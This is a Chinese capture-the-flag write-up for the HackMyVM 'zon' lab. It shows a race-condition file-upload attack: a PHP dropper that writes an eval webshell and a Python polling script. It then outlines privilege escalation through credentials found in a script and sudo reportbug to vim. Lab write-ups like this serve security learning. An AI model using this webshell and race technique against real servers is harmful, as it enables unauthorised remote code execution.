hackmyvm靶场--zon

环境

攻击机kali

靶机

未知

主机探测

因为在同一个局域网内使用ARP协议探测存活主机

靶机为192.168.56.128

端口探测

常见的80和22端口

那么一定是寻找web漏洞拿shell了

后台扫描

后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试

shell 复制代码
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500

扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传

发现需要上传zip文件,里面是jpeg文件

先上传个正常的

查看一下uploads目录

可以正常访问

想要利用文件上传来拿到shell无非需要满足两个条件

1、成功上传木马文件

2、服务端可以解析该文件

这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件

结果显示给文件不是jpeg,会被删除

删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争

我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。

实现步骤:

首先准备create-shell.php这个炮灰shell文件,里面写一下代码

php 复制代码
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>

开启一个访问的Python脚本,作用为验证shell是否成功上传

python 复制代码
import requests


url1 = "http://127.0.0.1/upload/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"   
# 定义访问 shell.php

while True:  # 定义死循环
    html1 = requests.get(url1)  # 请求 create-shell.php
    html2 = requests.get(url2)  # 请求 shell.php
    if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
        print('Good job,Win Win Win')  # 打印 Good job.....
        break
        

上传该文件并且使用burp抓包

在最下面输入数字1作为我们的爆破点

接着设置payload

把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破

先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传

提权

拿到shell

因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个

升级shell

/usr/bin/script -qc /bin/bash /dev/null

在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除

在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性

发现了mysqldump -u admin -p这段代码

尝试登录,成功

ssh登录freddie

拿到user.txt

sudo查看发现reportbug有提权的可能性

file /usr/bin/reportbug

python可执行脚本

以root运行

sudo reportbug

一段乱输之后发现有一个vim编辑器提权

拿下root.txtTOC]

相关推荐
轻松Ai享生活21 小时前
5 节课深入学习Linux Cgroups
linux
christine-rr1 天前
linux常用命令(4)——压缩命令
linux·服务器·redis
三坛海会大神5551 天前
LVS与Keepalived详解(二)LVS负载均衡实现实操
linux·负载均衡·lvs
東雪蓮☆1 天前
深入理解 LVS-DR 模式与 Keepalived 高可用集群
linux·运维·服务器·lvs
乌萨奇也要立志学C++1 天前
【Linux】进程概念(二):进程查看与 fork 初探
linux·运维·服务器
獭.獭.1 天前
Linux -- 信号【上】
linux·运维·服务器
hashiqimiya1 天前
centos配置环境变量jdk
linux·运维·centos
hashiqimiya1 天前
权限更改centos中系统文件无法创建文件夹,使用命令让普通用户具备操作文件夹
linux
逆小舟1 天前
【Linux】人事档案——用户及组管理
linux·c++
青草地溪水旁1 天前
pthread_mutex_lock函数深度解析
linux·多线程·pthread